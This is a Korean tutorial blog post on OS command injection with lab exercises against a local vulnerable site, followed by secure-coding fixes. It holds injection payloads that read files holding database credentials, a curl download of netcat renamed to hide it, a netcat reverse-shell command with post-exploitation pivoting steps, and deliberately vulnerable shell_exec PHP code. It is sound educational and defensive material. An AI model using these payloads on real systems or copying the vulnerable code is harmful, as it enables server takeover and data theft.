1) OS Command Injection이란 무엇인가?
시스템 명령어(운영체제 명령어)를 주입하는 공격
사용자 입력값에 시스템 명령어를 주입해서 원격으로 시스템 명령어를 실행할 수 있는 공격이다.
공격자 의도대로 서버를 제어할 수 있게 된다.
웹 서버에 대해 제어권을 얻는다 = 시스템 명령어 실행이 가능하다 = 서버 내 중요정보 열람, 수정, 삭제 가능
해당 공격을 통해 웹 서버가 랜섬웨어 공격의 유포지로 활용될 수 있으며, 서버 내 중요파일이 랜섬웨어에 감염될수도 있다. 데이터베이스로 침투, 내부망에 침투하여 기밀 정보를 열람, 직원 PC를 감염시키는 등의 다양한 추가 공격이 가능하다.
공격자는 이러한 공격을 통해 기업으로부터 돈을 뜯어낸다.
시스템 명령어 실행을 통해서 단순히 해당 공격에서 끝나는 것이 아닌 2차, 3차 피해가 추가로 발생할 가능성이 있다.
파일 업로드 취약점과 비슷한 영향력을 가지고 있다. (웹쉘의 주요기능 - 시스템 명령어 실행)
2) 공격 대상
Injection 공격은 기능에 따라 발생되는 취약점이 다르다.
SQL Injection
- 웹 어플리케이션과 DB가 연결된 기능에 대해서 사용자 입력값에 SQL 구문을 삽입하여 공격을 한다.
- DB와 연결을 통해 값을 얻어와서 사용자에게 값을 반환하는 기능을 이용한다.
OS Command Injection
- 사용자 입력값을 통해서 시스템 명령을 실행할 수 있는 기능에, 시스템 명령어를 삽입하여 공격을 한다.
- 관리자 콘솔에서 사용하는 시스템 명령어 실행 기능을 이용한다. (백업, 특정 IP에 ping 요청 등)
- 일반적인 웹 사이트에서는 OS Command Injection 취약점을 발견하기 어렵다.
3) SQL Injection vs OS Command Injection
>> 위험도가 높은 취약점은?
SQL Injection vs OS Command Injection
위험도는 OS Command Injection이 더 높다. (시스템 명령어를 삽입하기 때문에)
위 2개의 공격은 삽입되는 페이로드 및 공격자가 얻을 수 있는 결과물이 다르다.
차이점
SQL Injection → SQL 구문을 삽입하는 취약점
OS Command Injection → 시스템 명령어를 삽입하는 취약점
주요 행위
SQL Injection → 중요 데이터 탈취
OS Command Injection → 중요 데이터 탈취, 인접 네트워크 침투, 해당 서버 점유 등
OS Command Injection이 SQL Injection보다 위험도가 높은데 SQL Injection이 더 주목받는 이유는 무엇일까?
→ OS Command Injection이 발생하기 위한 조건은 사용자 입력값을 통해 시스템 명령어를 실행하는 기능이 있어야 한다. 하지만 일반적인 웹 사이트에는 이런 기능이 존재하지 않고 드물게 관리자 콘솔에 이런 기능이 존재하므로 취약점 발생 확률이 굉장히 낮다. 오늘날의 대부분 웹 서비스는 DB를 사용하므로 SQL Injection이 취약점 발생 확률이 훨씬 높다.
→ 방화벽 등장 이후 80/443 포트만 허용하게 되어 웹 해킹이 주목받게 되는 이유와 유사하다.
4) 공격 원리 분석
1. 공격자는 사용자 입력값에 시스템 명령어를 주입
2. 사용자 입력값 + 주입된 시스템 명령어를 조합 (입력 값 검증 없는 경우)
3. 서버에 시스템 명령어를 보내 결과를 반환받는다.
대부분 Command Injection 공격이 가능한 곳은 관리자 페이지가 많은데, 관리자 페이지는 입력값 검증이 소홀할 수 있다. (인증절차를 거치고 들어오는 인가된 사용자라는 판단하에 보안에 소홀할 수 있다.)
한줄에서 다수의 시스템 명령어를 주입하기 위해서 메타 문자를 입력한다.
메타 문자를 사용하여 기존의 명령어를 수행하고 난 후에 공격자가 원하는 명령어를 수행하도록 한다.
nslookup www.test.co.kr & ifconfig
→ & 를 사용하여 www.test.co.kr 에 대한 IP를 출력 후, ifconfig로 해당 시스템의 IP를 출력하도록 한다.
실습3-1 OS Command Injection 공격 실습
실습을 위해 127.0.0.1/insecure_website 접속 후 admin 계정으로 로그인한다.
실제로 모의해킹을 하거나 웹 취약점 진단을 할때 관리자 페이지를 단독으로 진단하는 경우가 있으며, 일반적으로 계정을 제공받고 진단을 하게 된다. 사용자 입력값을 통해서 시스템 명령을 실행하는 기능은 일반 웹 사이트에는 보통 존재하지 않지만, 모의해킹을 할때 일반 웹 사이트를 진단하다보면 관리자 페이지를 찾게 된다. 이런 경우 시나리오 기반의 공격이 가능하다. SQL Injection을 통해서 관리자 페이지에 관리자로 로그인 후 추가 취약점을 탐색할 수 있다.
우측 상단의 Ping Check를 클릭한다.
입력칸을 보니 IP 입력을 통해 해당 서버를 헬스 체크 하는 용도로 사용하는 것을 알 수 있다.
192.168.56.1 을 입력 후 Check를 클릭한다. (CMD 에서 ipconfig를 통해 확인한 로컬 사설 IP)
CMD에서 ping 192.168.56.1 을 입력한 것과 동일한 결과라는 것을 알 수 있다.
& 또는 | 메타 문자를 입력 후 추가 명령어를 삽입해본다.
& (앰퍼센트) 를 사용하면 이전 명령어 실행 후 출력, 뒤에 명령어도 실행하여 출력한다.
| (파이프) 를 사용하면 이전 명령어는 실행은 되지만 출력되지 않고 뒤에 명령어만 출력된다.
echo는 텍스트를 출력하는 명령어다. echo를 통해서 Command Injection 여부를 확인할 수 있다.
192.168.56.1&echo "test"
192.168.56.1|echo "test"
CMD 에서도 동일하게 아래와 같은 결과가 출력된다.
192.168.56.1&ipconfig 를 입력한다.
현재 Windows PC의 네트워크 정보를 확인할 수 있다.
Linux/Unix 환경에서는 ifconfig 명령어를 실행해야 한다.
192.168.56.1&ver 를 입력하여 버전 정보도 확인해본다.
whoami - 현재 컴퓨터에 로그온되어 있는 계정의 정보
192.168.56.1&whoami 를 입력한다.
system 계정으로 확인이된다. (Windows 최고 권한)
시스템 권한인 경우 공격자가 할 수 있는 공격이 다양해진다.
| (파이프) 를 사용하면 이전 명령어는 실행은 되지만 출력이되지 않고 뒤에 명령어만 출력이된다.
192.168.56.1|whoami 를 입력해본다.
Windows 는 대표적으로 &, | 메타 문자를 사용하여 시스템 명령어를 삽입한다.
파일 열람 시 Windows는 type, Linux/Unix는 cat 명령어를 사용한다. (etc/passwd 및 소스코드 열람)
dir - 현재 디렉터리 및 파일 확인
192.168.56.1|dir
type 명령어를 사용하여 common.php 파일을 열람해본다. (DB 접속 정보)
192.168.56.1|type common.php
common.php 파일 내 소스코드가 출력되는 것을 확인할 수 있다.
cmd 에서는 common.php 가 있는 디렉터리의 상세경로를 입력하여 확인이 가능하다.
ping 192.168.56.1|type C:\APM_Setup\htdocs\insecure_website\common.php
실습3-2 OS Command Injection 공격을 통한 Reverse-Shell 실습
Bind Shell 과 Reverse Shell
Bind Shell(정방향 연결)
→ 서버에서 서버 포트가 열리고, 클라이언트(공격자)가 서버로 접속하여 생성하는 쉘, 일반적인 서버로 접속하는 형태
Reverse Shell(역방향 연결)
→ 클라이언트(공격자)가 리스닝을 하고 서버에서 클라이언트(공격자)쪽으로 접속하는 형태, 일반적인 방화벽 정책은 Inbound 정책은 대부분 차단되지만, Outbound 정책은 허용된 경우가 많기 때문에 사용한다.
Reverse Shell을 수행하기 위해 Netcat 을 다운로드한다.
Netcat - 평문 전송
Ncat - 암호화 전송
Netcat 다운로드 링크 - 1.12 버전
https://eternallybored.org/misc/netcat/
다운로드 받으려는 순간 윈도우 디펜더에서 바이러스를 감지하여 다운로드가 불가능해진다.
디펜더를 해제하거나 VDI 환경을 새로 구성해서 Netcat 을 다운로드 받는다.
디펜터를 해제하면 로컬 PC가 취약해질 위험이 있으므로 VDI 환경을 새로 구성한다.
VDI 환경을 구성하게 되면 기존의 APM Setup 및 취약 환경을 VDI 에 다시 구축해줘야 한다.
취약한 VDI 환경 구축은 여기를 참고한다. (Windows 7 구축)
공격 프로세스는 다음과 같다.
Step 1) Netcat 프로그램 준비
Step 2) 웹 서버로 Netcat 업로드(wget, curl)
→ 127.0.0.1|curl -o nc.exe http://공격자 IP/nc.exe
Step 3) 공격자 PC Netcat 리스닝
→ nc.exe -lvp 9999
Step 4) 웹 서버에서 Netcat 명령어 실행을 통한 Reverse Shell 연결
→ nc.exe [공격자 IP] [포트] -e [Shell]
Windows - cmd.exe
Linux/Unix - /bin/sh 또는 /bin/bash
Netcat 다운로드 후 nc.exe 파일을 htdocs 폴더 내로 이동해준다. (C:\APM_Setup\htdocs)
웹 서버에 현재 netcat 이 업로드된 상태가 아니다. 서버에 netcat 이 업로드가 되면 서버에서 클라이언트(공격자) 쪽으로 연결이 가능해진다.
일반적으로 취약점 진단을 할때 netcat 을 서버에 업로드하게 된다.
클라이언트(공격자) - C:\APM_Setup\htdocs
웹 서버(피해자) - C:\APM_Setup\htdocs\insecure_website
curl - 프로토콜들을 이용해 URL 로 데이터를 전송하여 서버에 데이터를 보내거나 가져올때 사용하기 위한 명령줄 도구 및 라이브러리이다.
nc.exe 를 board.exe 로 이름을 변경한다. (nc.exe는 너무 대놓고 netcat 을 의미하므로)
[ping 명령어 IP]|curl -o [파일 이름 지정] [클라이언트 IP 주소/netcat 프로그램]
-o 옵션: curl로 받아온 내용을 지정한 이름의 파일로 저장
실제 취약점 진단을 할 때는 클라이언트(공격자) IP 주소가 사설 IP가 아닌, 외부망으로 공인 IP를 사용하게 된다.
보통 공유기 환경으로 공유기 IP를 공격자 IP와 포트포워딩 하여 진행한다.
현재 새로 구축한 VDI 환경의 로컬 IP가 10.0.2.4로 클라이언트 IP로 입력한다.
127.0.0.1|curl -o board.exe http://10.0.2.4/board.exe 를 입력하여 클라이언트(공격자)에 있는 netcat 을 서버에서 다운로드 받도록 명령한다.
아쉽게도 Windows 7에 curl 이 설치되어 있지 않아 명령어가 실행되지 않았다.
실제 로컬 PC에서는 curl 명령어 수행 시 다운로드가 가능하였다. (로컬 PC Windows 10)
curl 을 사용하여 netcat 프로그램을 서버에 업로드했다고 가정한 상태로 실습을 진행한다. (실제로는 insecure_website 폴더 내에 board.exe 를 복붙했다.)
netcat 의 실행방법은 다음과 같다. (공격자 PC 에서 포트 리스닝)
nc.exe -lvp 9999
l : 리스닝
v : 자세히 보기
p : 포트(방화벽의 Outbound 정책에 따라 결정, 정책에 빡셀수록 80 or 53 or 443 등의 주요 포트 사용)
VDI 에서 CMD창을 열고 board.exe 가 설치되어 있는 디렉터리로 이동한다. (공격자 PC)
cd C:\APM_Setup\htdocs
board.exe -lvp 9999
공격자는 9999포트로 리스닝이 되어 있는 상태이다.
nc.exe [공격자 IP] [Port] -e [Shell]
Windows - cmd.exe
Linux/Unix - /bin/sh 또는 /bin/bash
127.0.0.1|board.exe 10.0.2.4 9999 -e cmd.exe 를 입력하여 웹 서버에서 Reverse Shell 을 연결한다.
명령어 전송 이후 기존에 리스닝을 실행했던 CMD 창을 보니 연결에 실패한 것이 확인된다.
127.0.0.1 로 IP 변경 후 재시도한다. (현재 공격자는 VDI PC 그 자체이므로 127.0.0.1 이 가능)
127.0.0.1|board.exe 127.0.0.1 9999 -e cmd.exe 를 입력하여 웹 서버에서 Reverse Shell 을 연결한다.
명령어 전송 이후 기존에 리스닝을 실행했던 CMD 창을 보니 연결에 성공한 것으로 확인된다. (공격자 입장)
기존에 공격자 입장에서 실행했던 Shell 이 아닌, 웹 서버의 Shell 로 변경된 것을 확인할 수 있다.
C:\APM_Setup\htdocs → C:\APM_Setup\htdocs\insecure_website
웹 서버의 Shell 을 탈취한 것으로 whoami 명령어를 입력해본다.
ipconfig 명령어도 입력하여 정상적으로 출력되는 것을 확인할 수 있다.
웹 서버의 Shell 에서 명령어 입력이 가능한 것을 통해 Reverse Shell 이 연결된 것을 확인할 수 있다.
Reverse Shell 이 연결되면 보통 원격 터미널 연결에 성공했다라고 많이 표현한다.
취약점 진단 보고서에는 ipconfig 명령어를 입력한 캡처가 들어가게 된다.
공격자는 원격 터미널 연결에 성공하게 되면 네트워크 정보를 먼저 수집한다.
해당 웹 서버와 신뢰 관계를 맺고 있는 다른 서버들의 IP를 수집한다. (DBMS, FTP 서버 등)
arp, netstat 명령어들을 활용하며, hosts 파일을 열람하여 도메인 및 IP 정보를 수집한다.
이후 해당 웹 서버 내 중요정보를 하나하나씩 살펴본다. (DB 접속 정보 등)
서버 내 정보 수집 이후 네트워크 스캔을 하여 다른 서버 정보 수집을 한다.
Reverse Shell 이 연결된 서버는 또 다른 서버를 탐색하기 위한 경유 서버가 되며, 수집한 정보를 바탕으로 내부 네트워크 침투를 진행하게 된다. 이후 제일 먼저 침투하게 되는 서버는 DBMS 로, 이때는 터널링을 활용하게 된다.
내부 네트워크 내에서도 웹 서비스를 찾아서 취약점을 찾고, 또 다시 다른 서버로 터널링을 하여 하나씩 침투하게 된다.
방금은 curl 을 활용하여 진행하였는데, 만약 진단하는 Windows 서버 버전이 낮아서 curl 을 사용할 수 없게 되는 경우, 파일 업로드 공격을 활용하여 진행하는 것도 하나의 침투 방법이 될 수 있다.
5) 대응 방안
1. 서버 사이드 스크립트로 기능 구현
2. 사용자 입력 값 형식에 따른 정규 표현식 검증
3. 악의적인 문자 검증(필터링, 로직 중지 후 경고창 띄움)
4. 기능 제거
< 사용자 입력 값 형식에 따른 정규 표현식 검증 >
IP 형식에 맞게 정규표현식을 사용(화이트리스트 방식)
특정 포맷 활용이 불가능하다면, 사용하는 특정 문자만 허용 (화이트리스트 방식)
< 악의적인 문자 검증 >
| & \n ; ` 등 문자열 검증, 해당 문자열 입력되면 로직 중지 후 에러 메시지 출력
실습3-3 취약 환경 시큐어 코딩 적용 실습
OS Command Injection이 발생되었던 Ping Check 페이지에 대해 시큐어 코딩을 진행한다.
소스코드 위치: C:\APM_Setup\htdocs\insecure_website
< pingcheck.php 의 Action 페이지 >
<?
include_once("./common.php");
$ip = $_POST["ip"];
$page = $_SERVER['REQUEST_URI'];
if(!empty($ip)) {
$result = shell_exec("ping {$ip}");
$result = iconv("EUC-KR", "UTF-8", $result);
$result = str_replace("\n", "<br>", $result);
}
?>
IP를 받아서 IP가 있는지 확인 후 시스템 명령어(ping)를 실행하는 로직이다.
시스템 명령어가 실행되기 전에 코드를 검증하는 것이 핵심이다.
preg_match() → 주어진 정규 표현식 패턴을 사용하여 문자열 내에서 일치(match)하는 부분을 찾는다.
^ : 정규표현식 문자열 시작
$ : 정규표현식 문자열 끝
[0-9] : 0~9 까지 (숫자 범위)
{1,3} : 1개 ~ 3개 까지 (숫자 개수)
\. : IP 형식의 점
반드시 exit(); 를 사용하여 로직을 중지 시켜야한다.
로직을 중지시키지 않아 취약점이 발생할 수 있다. (설계 오류 발생)
(ex: 관리자 페이지에 접근했는데 경고창은 출력되지만 웹 프록시 도구(버프스위트)로 확인해보니 해당 로직이 이미 진행이 다 된 상태로, 경고창 스크립트만 삭제 후 접근이 가능한 경우가 있다.)
< pingcheck.php 의 Action 페이지 시큐어 코딩 적용 >
<?
include_once("./common.php");
$ip = $_POST["ip"];
$page = $_SERVER['REQUEST_URI'];
if(!empty($ip)) {
if(!preg_match("/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/", $ip)) {
echo "<script>alert('정상적인 입력 값이 아닙니다.');history.back(-1);</script>";
exit();
}
$result = shell_exec("ping {$ip}");
$result = iconv("EUC-KR", "UTF-8", $result);
$result = str_replace("\n", "<br>", $result);
}
?>
이후 pingcheck 페이지에 접속하여 확인해본다.
먼저 정상적인 입력값을 먼저 입력하여 동작 여부를 확인해본다.
192.168.56.1 IP 입력
192.168.56.1|whoami 를 입력하니 아래와 같이 에러 메시지가 출력된다.
그 외 IP 형식이 아닌 ! , ?, a 등의 문자열 입력 시 에러 메시지가 출력되는 것을 알 수 있다.
이렇게 정규표현식을 통해서 해당 입력값에 허용된 포맷만 입력하도록 설정할 수 있다.
입력 포맷이 정해져 있지 않은 경우에는 허용된 범위만 입력하도록 정규표현식을 구현하면 된다.
(숫자, 문자, 일부 특수문자 허용)
만약 허용 범위가 정확하지 않다면, 악의적인 문자를 검증하는 방법도 사용 가능하다.
OS Command Injection 3줄 요약
- 운영체제 명령어(시스템 명령어)를 입력할 수 있는 어플리케이션 기능에 시스템 명령어를 삽입하는 공격
- 메타문자 &, | 사용하여 한줄에 여러 명령어 실행
- Netcat 활용하여 Reverse Shell 연결(서버에서 Outbound 연결)
참고
정규표현식 참고
https://hamait.tistory.com/342
'웹 해킹 > 웹 해킹 및 시큐어 코딩 기초' 카테고리의 다른 글
XSS (Cross-Site Scripting) (0) | 2025.01.24 |
---|---|
XXE Injection (2) | 2025.01.04 |
SQL Injection 대응 방안 (1) | 2024.12.27 |
SQL Injection (1) | 2024.12.11 |
버프 스위트(Burp Suite) 설치 및 사용법 (0) | 2024.11.26 |